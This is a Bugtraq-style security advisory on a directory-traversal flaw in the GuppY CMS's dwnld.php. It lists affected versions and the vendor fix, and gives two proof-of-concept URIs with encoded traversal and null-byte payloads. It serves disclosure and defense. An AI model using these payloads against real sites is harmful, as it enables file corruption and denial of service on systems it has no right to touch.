BID:17068

GuppY Dwnld.PHP Remote Directory Traversal Vulnerability

Info

GuppY Dwnld.PHP Remote Directory Traversal Vulnerability

Bugtraq ID:	17068
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 10 2006 12:00AM
Updated:	Mar 14 2006 12:35AM
Credit:	trueend5 is credited with the discovery of this vulnerability.
Vulnerable:	Guppy GuppY 4.5.11 Guppy GuppY 4.5.10 Guppy GuppY 4.5.9 Guppy GuppY 4.5.4 Guppy GuppY 4.5.3 a Guppy GuppY 4.5.3 Guppy GuppY 4.5 Guppy GuppY 2.4 p4 Guppy GuppY 2.4 p3 Guppy GuppY 2.4 p1 Guppy GuppY 2.4

Not Vulnerable:	Guppy GuppY 4.5.12

Discussion

GuppY Dwnld.PHP Remote Directory Traversal Vulnerability

GuppY is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to corrupt files on a computer in the context of the webserver process. A successful exploit may result in a denial-of-service condition if sensitive files are corrupted.

Exploit / POC

GuppY Dwnld.PHP Remote Directory Traversal Vulnerability

This issue can be exploited through use of a web client.

The following proof of concept URI are available:
http://www.example.com/guppy/mobile/dwnld.php?pg=./%2E./stats
http://www.example.com/guppy/dwnld.php?pg=./%2E./test.inc%00

The following proof of concept is available:

/data/vulnerabilities/exploits/GuppY-rmt-DoS-expl.php

Solution / Fix

GuppY Dwnld.PHP Remote Directory Traversal Vulnerability

Solution:
The vendor has released an update to address this issue. See the referenced vendor advisory for further information.

Guppy GuppY 2.4 p3